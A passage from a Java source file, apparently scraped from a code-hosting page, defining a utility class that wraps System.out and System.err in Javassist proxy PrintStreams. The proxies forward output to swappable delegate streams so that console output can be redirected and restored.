private static final PrintStream realErr = System.err;
|
||||
|
||||
private static PrintStream delegateOut = System.out;
|
||||
private static PrintStream delegateErr = System.err;
|
||||
|
||||
private static PrintStream proxyOut;
|
||||
private static PrintStream proxyErr;
|
||||
|
||||
static {
|
||||
try {
|
||||
proxyOut = (PrintStream) new ProxyFactory() {{
|
||||
this.setSuperclass(PrintStream.class);
|
||||
}}.create(new Class[]{OutputStream.class}, new Object[]{delegateOut}, new MethodHandler() {
|
||||
@Override
|
||||
public Object invoke(Object self, Method thisMethod, Method proceed, Object[] args) throws Throwable {
|
||||
return thisMethod.invoke(delegateOut, args);
|
||||
}
|
||||
});
|
||||
|
||||
proxyErr = (PrintStream) new ProxyFactory() {{
|
||||
this.setSuperclass(PrintStream.class);
|
||||
}}.create(new Class[]{OutputStream.class}, new Object[]{delegateErr}, new MethodHandler() {
|
||||
@Override
|
||||
public Object invoke(Object self, Method thisMethod, Method proceed, Object[] args) throws Throwable {
|
||||
return thisMethod.invoke(delegateErr, args);
|
||||
}
|
||||
});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static void init() {
|
||||
System.setOut(proxyOut);
|
||||
System.setErr(proxyErr);
|
||||
}
|
||||
|
||||
public static void restoreStreams() {
|
||||
setStreams(realOut, realErr);
|
||||
}
|
||||
|
||||
public static void setStreams(PrintStream out, PrintStream err) {
|
||||
delegateOut = out;
|
||||
delegateErr = err;
|
||||
}
|
||||
|
||||
public static void setStreams(OutputStream out, OutputStream err) {
|
||||
setStreams(new PrintStream(out), new PrintStream(err));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user